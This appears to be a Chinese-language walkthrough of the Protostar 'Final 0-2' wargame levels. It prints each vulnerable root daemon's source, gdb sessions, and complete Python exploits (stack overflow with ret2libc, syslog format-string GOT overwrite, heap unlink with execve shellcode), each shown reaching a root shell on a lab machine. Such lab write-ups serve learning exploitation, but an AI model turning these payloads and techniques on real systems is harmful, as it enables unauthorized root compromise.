跳转至

Final

The levels to be exploited can be found in the /opt/protostar/bin directory.

The /proc/sys/kernel/core_pattern is set to /tmp/core.%s.%e.%p.

Final 0

You may wish to use a toupper() proof shellcode

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer); // reads a line from stdin into the buffer until either a terminating newline or EOF, which it replaces with '\0'

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();

  printf("No such user %s\n", username);
}
  • gets 不处理 \0,而 strlen 通过 \0 来计算字符串的长度,因此可以通过前置 \0 来绕过 toupper
  • Core files will be in /tmp 核心转储文件(man core

    The default action of certain signals is to cause a process to terminate and produce a core dump file, a disk file containing an image of the process's memory at the time of termination.

  • 常见 Signal 如下

    Signal Action Comment
    SIGINT Term Interrupt from keyboard
    SIGILL Core Illegal Instruction
    SIGSEGV Core Invalid memory reference
  • 首先通过缓冲区溢出来获得核心转储文件用于调试并确定溢出点

    $ python -c "print 'a'*512 + '\x00'*4 + 'aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll'" | nc localhost 2995
    $ ls /tmp/core*
    /tmp/core.11.final0.18906
    $ su root
    # gdb final0 /tmp/core.11.final0.18906
    Core was generated by `/opt/protostar/bin/final0`.
    Program terminated with signal 11, Segmentation fault.
    #0  0x65656565 in ?? () # eeee
    
  • 也可以通过进程调试

    # gdb -p `pidof final0`
    accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
    64  in ../sysdeps/unix/sysv/linux/i386/socket.S
    (gdb) set follow-fork-mode child  # 跟踪子进程
    Current language:  auto
    The current source language is "auto; currently asm".
    (gdb) c
    Continuing.
    [New process 19058] # another terminal sends the payload
    
    Program received signal SIGSEGV, Segmentation fault.
    [Switching to process 19058]
    0x65656565 in ?? ()
    
  • 查看 ret2libc 函数地址

    # gdb -p `pidof final0`
    accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
    64  in ../sysdeps/unix/sysv/linux/i386/socket.S
    (gdb) info functions @plt
    All functions matching regular expression "@plt":
    
    Non-debugging symbols:
    0x080489fc  __errno_location@plt
    0x08048a0c  srand@plt
    0x08048a1c  open@plt
    ...
    0x08048c0c  execve@plt
    ...
    0xb7fe380c  ___tls_get_addr@plt
    0xb7fe381c  free@plt
    Current language:  auto
    The current source language is "auto; currently asm".
    
  • 观察如何构造栈来正确地调用 execve()

    void main() {
        execve("/bin/sh", 0, 0);
        // int execve(const char *filename, char *const argv[], char *const envp[]);
        // no arguments and environment variables
    }
    
    $ gcc execve_example.c -o execve_example
    $ gdb ./execve_example
    (gdb) set disassembly-flavor intel
    (gdb) disassemble main 
    Dump of assembler code for function main:
    0x080483c4 <main+0>:    push   ebp
    0x080483c5 <main+1>:    mov    ebp,esp
    0x080483c7 <main+3>:    and    esp,0xfffffff0
    0x080483ca <main+6>:    sub    esp,0x10
    0x080483cd <main+9>:    mov    DWORD PTR [esp+0x8],0x0
    0x080483d5 <main+17>:   mov    DWORD PTR [esp+0x4],0x0
    0x080483dd <main+25>:   mov    DWORD PTR [esp],0x80484b0
    0x080483e4 <main+32>:   call   0x80482fc <execve@plt>
    0x080483e9 <main+37>:   leave  
    0x080483ea <main+38>:   ret    
    End of assembler dump.
    (gdb) break *0x080483e4
    Breakpoint 1 at 0x80483e4
    (gdb) r
    Starting program: /tmp/execve_example 
    
    Breakpoint 1, 0x080483e4 in main ()
    (gdb) si
    0x080482fc in execve@plt ()
    (gdb) x/8wx $esp
    0xbffff69c: 0x080483e9  0x080484b0  0x00000000  0x00000000
    0xbffff6ac: 0xb7fd7ff4  0x08048400  0x00000000  0xbffff738
    (gdb) x/2i 0x080483e9
    0x80483e9 <main+37>:    leave  
    0x80483ea <main+38>:    ret    
    (gdb) x/s 0x080484b0
    0x80484b0:   "/bin/sh"
    
  • 获取 /bin/sh 在 libc 中的偏移

    $ ldd execve_example    # get paths to all loaded libraries
        linux-gate.so.1 =>  (0xb7fe4000)
        libc.so.6 => /lib/libc.so.6 (0xb7e99000)
        /lib/ld-linux.so.2 (0xb7fe5000)
    $ grep -a -b -o /bin/sh /lib/libc.so.6
    1176511:/bin/sh
    # -a, --text                equivalent to --binary-files=text
    # -b, --byte-offset         print the byte offset with output lines
    # -o, --only-matching       show only the part of a line matching PATTERN
    
  • 查看 libc 的起始地址

    # pidof final0
    1514
    # cat /proc/1514/maps
    08048000-0804a000 r-xp 00000000 00:10 2220       /opt/protostar/bin/final0
    0804a000-0804b000 rwxp 00001000 00:10 2220       /opt/protostar/bin/final0
    b7e96000-b7e97000 rwxp 00000000 00:00 0 
    b7e97000-b7fd5000 r-xp 00000000 00:10 759        /lib/libc-2.11.2.so
    b7fd5000-b7fd6000 ---p 0013e000 00:10 759        /lib/libc-2.11.2.so
    b7fd6000-b7fd8000 r-xp 0013e000 00:10 759        /lib/libc-2.11.2.so
    b7fd8000-b7fd9000 rwxp 00140000 00:10 759        /lib/libc-2.11.2.so
    b7fd9000-b7fdc000 rwxp 00000000 00:00 0 
    b7fe0000-b7fe2000 rwxp 00000000 00:00 0 
    b7fe2000-b7fe3000 r-xp 00000000 00:00 0          [vdso]
    b7fe3000-b7ffe000 r-xp 00000000 00:10 741        /lib/ld-2.11.2.so
    b7ffe000-b7fff000 r-xp 0001a000 00:10 741        /lib/ld-2.11.2.so
    b7fff000-b8000000 rwxp 0001b000 00:10 741        /lib/ld-2.11.2.so
    bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]
    

Exploit

import struct, socket, telnetlib

padding = 'a' * 512 + '\x00' * 4 + 'aaaabbbbccccdddd'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2995))

execve = struct.pack('<I', 0x08048c0c)
binsh = struct.pack('<I', 1176511 + 0xb7e97000)
exploit = padding + execve + 'RETA' + binsh + '\x00' * 8

s.send(exploit + '\n')

t = telnetlib.Telnet()
t.sock = s
t.interact() # 使用 telnetlib 切换到交互模式
$ python final.py 
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
*** Connection closed by remote host ***

Final 1

The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
  // void syslog(int priority, const char *format, ...);
  // buf is the format string! 0v0
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;
//   struct sockaddr_in {
//     sa_family_t    sin_family; /* address family: AF_INET */
//     in_port_t      sin_port;   /* port in network byte order */
//     struct in_addr sin_addr;   /* internet address */
//   };

//   /* Internet address. */
//   struct in_addr {
//     uint32_t       s_addr;     /* address in network byte order */
//   };

  l = sizeof(struct sockaddr_in);
  // int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  // getpeername()  returns  the address of the peer connected to the socket sockfd, in the buffer pointed to by addr.
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();
}
  • 正确使用 login 后可以在 /var/log/syslog 中看到登录尝试日志
    Login from 127.0.0.1:34101 as [yanhui] with password [test]

  • 看上去似乎没有可控制的 printf,但 syslog 类似于 printf,第二个参数为格式化字符串,因而可以通过 usernamepw 来控制,接下来可以修改 strncmp 函数 GOT 表的条目地址

  • 获取 strncmp 函数 GOT 表的条目地址

    # gdb --pid `pidof final1`
    (gdb) info functions strncmp
    All functions matching regular expression "strncmp":
    
    File strncmp.c:
    int *__GI_strncmp(const char *, const char *, size_t);
    
    File ../sysdeps/i386/i486/bits/string.h:
    int __strncmp_g(const char *, const char *, size_t);
    
    Non-debugging symbols:
    0x08048d9c  strncmp
    0x08048d9c  strncmp@plt
    Current language:  auto
    The current source language is "auto; currently asm".
    (gdb) x/2i 0x08048d9c
    0x8048d9c <strncmp@plt>:    jmp    *0x804a1a8
    0x8048da2 <strncmp@plt+6>:  push   $0x160
    (gdb) x/wx 0x804a1a8
    0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x08048da2
    
  • 获取 system 函数的地址

    • On a real modern system you would first have to leak addresses from memory in order to calculate offsets and break ASLR

    (gdb) x system  # part of libc
    0xb7ecffb0 <__libc_system>: 0x890cec83
    
  • 观察输入字符串在栈中的位置

    $ nc 127.0.0.1 2994
    [final1] $ username AAAA %x %x %x %x %x %x %x %x
    [final1] $ login BBBB %x %x %x %x %x %x %x %x
    login failed
    [final1] $ ^C
    

    tail -n 5 /var/log/syslog

  • 最短 hostnamex.x.x.x:x(长度为 \(9\)),最长 hostnamexxx.xxx.xxx.xxx:xxxxx(长度为 \(21\)),为了对齐,需要进行填充,根据 hostname 的长度范围可以统一填充到 \(24\) 字节,这样一来就可以固定写入第 \(17\) 个参数所指向的地址

    import socket, struct
    
    def read_util(check):
        buf = ''
        while check not in buf:
            buf += s.recv(1)
        return buf
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 2994))
    
    ip, port = s.getsockname()
    hostname = ip + ':' + str(port) # 降低变长 hostname 的影响
    pad = 'A' * (24 - len(hostname))
    username = pad + 'BBBB' + '%08x ' * 20
    login = 'CCCC'
    
    print read_util('[final1] $')
    s.send('username ' + username + '\n')
    print read_util('[final1] $')
    s.send('login ' + login + '\n')
    print read_util('[final1] $')
    

    BBBB 对应第 17 个参数

  • 接下来查看已打印字符数量,并确定剩余需要字符的数量

    import socket, struct
    
    def read_util(check):
        buf = ''
        while check not in buf:
            buf += s.recv(1)
        return buf
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 2994))
    
    strncmp = struct.pack('I', 0x804a1a8)
    ip, port = s.getsockname()
    hostname = ip + ':' + str(port)
    pad = 'A' * (24 - len(hostname))
    username = pad + 'BBBB' + strncmp + '%18$n'
    login = 'CCCC'
    
    print read_util('[final1] $')
    s.send('username ' + username + '\n')
    print read_util('[final1] $')
    s.send('login ' + login + '\n')
    print read_util('[final1] $')
    raw_input('waiting... hit [enter]')
    
    $ python final.py 
    [final1] $
    [final1] $
    login failed
    [final1] $
    waiting... hit [enter]
    
    # open another terminal
    # pidof final1
    21600 1516
    # gdb --pid 21600
    (gdb) x/wx 0x804a1a8
    0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x00000030
    Current language:  auto
    The current source language is "auto; currently asm".
    

Exploit

import socket, struct, telnetlib

def read_util(check):
    buf = ''
    while check not in buf:
        buf += s.recv(1)
    return buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2994))

strncmp_got = 0x804a1a8

ip, port = s.getsockname()
hostname = ip + ':' + str(port)
pad = 'A' * (24 - len(hostname))
username = pad + struct.pack('I', strncmp_got) + struct.pack('I', strncmp_got + 2) + '%65408x' + '%17$n' + '%47164x' + '%18$n'
# 65408 = 0xffb0 - 0x30
# 47164 = 0xb7ec - 0xffb0
login = 'CCCC'

print read_util('[final1] $')
s.send('username ' + username + '\n')
print read_util('[final1] $')
s.send('login ' + login + '\n')
print read_util('[final1] $')
t = telnetlib.Telnet()
t.sock = s
t.interact()
$ python final.py 
[final1] $
 [final1] $
 login failed
[final1] $
 id
uid=0(root) gid=0(root) groups=0(root)
[final1] $ whoami
root

Final 2

Remote heap level :)

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
  * Work out old software bug
  */

  p = rindex(buf, '/');
  // index, rindex - locate character in string
  // The rindex() function returns a pointer to the last occurrence of the character c in the string s.
  l = strlen(p);
  if(p) {
      start = strstr(buf, "ROOT");
      // strstr - locate a substring
      if(start) {
          while(*start != '/') start--; // 并不检查是否在字符串内
          memmove(start, p, l); // void *memmove(void *dest, const void *src, size_t n);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
          "yes" : "no", start - buf);
      }
  }
}

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
      if(dll >= 255) break;

      buf = calloc(REQSZ, 1);   // 128 bytes, the chunk size is bigger than MAX_FAST_SIZE(80)
      if(read(fd, buf, REQSZ) != REQSZ) break;

      if(strncmp(buf, "FSRD", 4) != 0) break;

      check_path(buf + 4);     

      dll++;
  }

  for(i = 0; i < dll; i++) {
    write(fd, "Process OK\n", strlen("Process OK\n"));
    free(destroylist[i]);   // 按分配的顺序释放
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  get_requests(fd);

}
  • 输入字符串应满足以下条件
    • FSRD 开头,总长度为 128 字节
    • 包含 / 和子串 ROOT
  • 在当前工作目录/当前用户家目录下创建 .gdbinit,写入每次启动 gdb 时希望执行的命令

    set disassembly-flavor intel
    set pagination off
    
  • 重点关注 check_path,利用 / 查找和 memmove 修改堆,并借助 free 完成 unlink 攻击

    Dump of assembler code for function check_path
    0x0804bcd0 <check_path+0>:  push   ebp
    0x0804bcd1 <check_path+1>:  mov    ebp,esp
    0x0804bcd3 <check_path+3>:  sub    esp,0x28
    0x0804bcd6 <check_path+6>:  mov    DWORD PTR [esp+0x4],0x2f
    0x0804bcde <check_path+14>: mov    eax,DWORD PTR [ebp+0x8]
    0x0804bce1 <check_path+17>: mov    DWORD PTR [esp],eax
    0x0804bce4 <check_path+20>: call   0x8048f7c <rindex@plt>
    0x0804bce9 <check_path+25>: mov    DWORD PTR [ebp-0x10],eax
    0x0804bcec <check_path+28>: mov    eax,DWORD PTR [ebp-0x10]
    0x0804bcef <check_path+31>: mov    DWORD PTR [esp],eax
    0x0804bcf2 <check_path+34>: call   0x8048edc <strlen@plt>
    0x0804bcf7 <check_path+39>: mov    DWORD PTR [ebp-0xc],eax
    0x0804bcfa <check_path+42>: cmp    DWORD PTR [ebp-0x10],0x0
    0x0804bcfe <check_path+46>: je     0x804bd45 <check_path+117>
    0x0804bd00 <check_path+48>: mov    DWORD PTR [esp+0x4],0x804c2cc
    0x0804bd08 <check_path+56>: mov    eax,DWORD PTR [ebp+0x8]
    0x0804bd0b <check_path+59>: mov    DWORD PTR [esp],eax
    0x0804bd0e <check_path+62>: call   0x8048f4c <strstr@plt>
    0x0804bd13 <check_path+67>: mov    DWORD PTR [ebp-0x14],eax
    0x0804bd16 <check_path+70>: cmp    DWORD PTR [ebp-0x14],0x0
    0x0804bd1a <check_path+74>: je     0x804bd45 <check_path+117>
    0x0804bd1c <check_path+76>: jmp    0x804bd22 <check_path+82>
    0x0804bd1e <check_path+78>: sub    DWORD PTR [ebp-0x14],0x1
    0x0804bd22 <check_path+82>: mov    eax,DWORD PTR [ebp-0x14]
    0x0804bd25 <check_path+85>: movzx  eax,BYTE PTR [eax]
    0x0804bd28 <check_path+88>: cmp    al,0x2f
    0x0804bd2a <check_path+90>: jne    0x804bd1e <check_path+78>
    0x0804bd2c <check_path+92>: mov    eax,DWORD PTR [ebp-0xc]
    0x0804bd2f <check_path+95>: mov    DWORD PTR [esp+0x8],eax
    0x0804bd33 <check_path+99>: mov    eax,DWORD PTR [ebp-0x10]
    0x0804bd36 <check_path+102>:    mov    DWORD PTR [esp+0x4],eax
    0x0804bd3a <check_path+106>:    mov    eax,DWORD PTR [ebp-0x14]
    0x0804bd3d <check_path+109>:    mov    DWORD PTR [esp],eax
    0x0804bd40 <check_path+112>:    call   0x8048f8c <memmove@plt>
    0x0804bd45 <check_path+117>:    leave  
    0x0804bd46 <check_path+118>:    ret
    
  • 查看堆的起始地址

    # gdb -p 1497
    Attaching to process 1497
    (gdb) set follow-fork-mode child
    Current language:  auto
    The current source language is "auto; currently asm".
    (gdb) break *0x0804bd40
    Breakpoint 1 at 0x804bd40: file final2/final2.c, line 27.
    (gdb) c
    Continuing.
    [New process 1743]
    [Switching to process 1743]
    
    Breakpoint 1, 0x0804bd40 in check_path (buf=0x804e00c "AAAA/ROOT/BBBB/CCCC")
        at final2/final2.c:27
    Current language:  auto
    The current source language is "auto; currently c".
    (gdb) info proc mappings
    process 1743
    cmdline = '/opt/protostar/bin/final2'
    cwd = '/'
    exe = '/opt/protostar/bin/final2'
    Mapped address spaces:
    
        Start Addr   End Addr       Size     Offset objfile
        0x8048000  0x804d000     0x5000          0        /opt/protostar/bin/final2
        0x804d000  0x804e000     0x1000     0x4000        /opt/protostar/bin/final2
        0x804e000  0x804f000     0x1000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fe0000 0xb7fe2000     0x2000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
    
  • 因为本身分配的 chunk 大小即大于 MAX_FAST_SIZE,因而在释放第一个 chunk 时,若下一个 chunk 未被使用,将进行 unlink,利用函数 check_path 修改第二个 chunk

  • 在执行 free 之后,可作为修改 GOT 表条目的目标函数为 writestrlen(选择 write

    Dump of assembler code for function get_requests
    0x0804bd47 <get_requests+0>:    push   ebp
    0x0804bd48 <get_requests+1>:    mov    ebp,esp
    0x0804bd4a <get_requests+3>:    sub    esp,0x428
    0x0804bd50 <get_requests+9>:    mov    DWORD PTR [ebp-0x10],0x0
    0x0804bd57 <get_requests+16>:   cmp    DWORD PTR [ebp-0x10],0xfe
    0x0804bd5e <get_requests+23>:   jg     0x804bddb <get_requests+148>
    0x0804bd60 <get_requests+25>:   mov    DWORD PTR [esp+0x4],0x1
    0x0804bd68 <get_requests+33>:   mov    DWORD PTR [esp],0x80
    0x0804bd6f <get_requests+40>:   call   0x804b4ee <calloc>
    0x0804bd74 <get_requests+45>:   mov    DWORD PTR [ebp-0x14],eax
    0x0804bd77 <get_requests+48>:   mov    eax,DWORD PTR [ebp-0x10]
    0x0804bd7a <get_requests+51>:   mov    edx,DWORD PTR [ebp-0x14]
    0x0804bd7d <get_requests+54>:   mov    DWORD PTR [ebp+eax*4-0x414],edx
    0x0804bd84 <get_requests+61>:   add    DWORD PTR [ebp-0x10],0x1
    0x0804bd88 <get_requests+65>:   mov    DWORD PTR [esp+0x8],0x80
    0x0804bd90 <get_requests+73>:   mov    eax,DWORD PTR [ebp-0x14]
    0x0804bd93 <get_requests+76>:   mov    DWORD PTR [esp+0x4],eax
    0x0804bd97 <get_requests+80>:   mov    eax,DWORD PTR [ebp+0x8]
    0x0804bd9a <get_requests+83>:   mov    DWORD PTR [esp],eax
    0x0804bd9d <get_requests+86>:   call   0x8048e5c <read@plt>
    0x0804bda2 <get_requests+91>:   cmp    eax,0x80
    0x0804bda7 <get_requests+96>:   jne    0x804bdde <get_requests+151>
    0x0804bda9 <get_requests+98>:   mov    DWORD PTR [esp+0x8],0x4
    0x0804bdb1 <get_requests+106>:  mov    DWORD PTR [esp+0x4],0x804c2d1
    0x0804bdb9 <get_requests+114>:  mov    eax,DWORD PTR [ebp-0x14]
    0x0804bdbc <get_requests+117>:  mov    DWORD PTR [esp],eax
    0x0804bdbf <get_requests+120>:  call   0x8048fdc <strncmp@plt>
    0x0804bdc4 <get_requests+125>:  test   eax,eax
    0x0804bdc6 <get_requests+127>:  jne    0x804bde1 <get_requests+154>
    0x0804bdc8 <get_requests+129>:  mov    eax,DWORD PTR [ebp-0x14]
    0x0804bdcb <get_requests+132>:  add    eax,0x4
    0x0804bdce <get_requests+135>:  mov    DWORD PTR [esp],eax
    0x0804bdd1 <get_requests+138>:  call   0x804bcd0 <check_path>
    0x0804bdd6 <get_requests+143>:  jmp    0x804bd57 <get_requests+16>
    0x0804bddb <get_requests+148>:  nop
    0x0804bddc <get_requests+149>:  jmp    0x804bde2 <get_requests+155>
    0x0804bdde <get_requests+151>:  nop
    0x0804bddf <get_requests+152>:  jmp    0x804bde2 <get_requests+155>
    0x0804bde1 <get_requests+154>:  nop
    0x0804bde2 <get_requests+155>:  mov    DWORD PTR [ebp-0xc],0x0
    0x0804bde9 <get_requests+162>:  jmp    0x804be1c <get_requests+213>
    0x0804bdeb <get_requests+164>:  mov    DWORD PTR [esp+0x8],0xb
    0x0804bdf3 <get_requests+172>:  mov    DWORD PTR [esp+0x4],0x804c2d6
    0x0804bdfb <get_requests+180>:  mov    eax,DWORD PTR [ebp+0x8]
    0x0804bdfe <get_requests+183>:  mov    DWORD PTR [esp],eax
    0x0804be01 <get_requests+186>:  call   0x8048dfc <write@plt>
    0x0804be06 <get_requests+191>:  mov    eax,DWORD PTR [ebp-0xc]
    0x0804be09 <get_requests+194>:  mov    eax,DWORD PTR [ebp+eax*4-0x414]
    0x0804be10 <get_requests+201>:  mov    DWORD PTR [esp],eax
    0x0804be13 <get_requests+204>:  call   0x804a9c2 <free>
    0x0804be18 <get_requests+209>:  add    DWORD PTR [ebp-0xc],0x1
    0x0804be1c <get_requests+213>:  mov    eax,DWORD PTR [ebp-0xc]
    0x0804be1f <get_requests+216>:  cmp    eax,DWORD PTR [ebp-0x10]
    0x0804be22 <get_requests+219>:  jl     0x804bdeb <get_requests+164>
    0x0804be24 <get_requests+221>:  leave  
    0x0804be25 <get_requests+222>:  ret
    
    (gdb) x/i 0x8048dfc
    0x8048dfc <write@plt>:  jmp    DWORD PTR ds:0x804d41c
    (gdb) x/wx 0x804d41c
    0x804d41c <_GLOBAL_OFFSET_TABLE_+64>:   0xb7f53c70
    
  • Heap 3 不同,需要获得 shell,又因为有 BK->fd 写回,\(8\) 字节不足以放下所有 shellcode,可利用 jmp,使用 Online Assembler and Disassembler 转换为 shellcode

    # jmp 0xc
    \xeb\x0a
    

Exploit

import socket, struct, telnetlib

REQSZ = 128
def pad(m):
    return ('FSRD' + m).ljust(REQSZ, '\x00')[:REQSZ]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2993))

jmp = "\xeb\x0a"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
s.send(pad('/ROOT' + '/' * 0xf + jmp + '\x90' * 0xa + shellcode + '/' * 0x80))
fake_chunk = struct.pack("I", 0xfffffffc) * 2 + struct.pack("I", 0x804d41c - 0xc) + struct.pack("I", 0x804e020)
s.send(pad('ROOT/' +  fake_chunk))

t = telnetlib.Telnet()
t.sock = s
t.interact()
$ python final.py 

Process OK
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
*** Connection closed by remote host ***

最后更新: 2022年11月5日 16:53:00
Contributors: YanhuiJessica

评论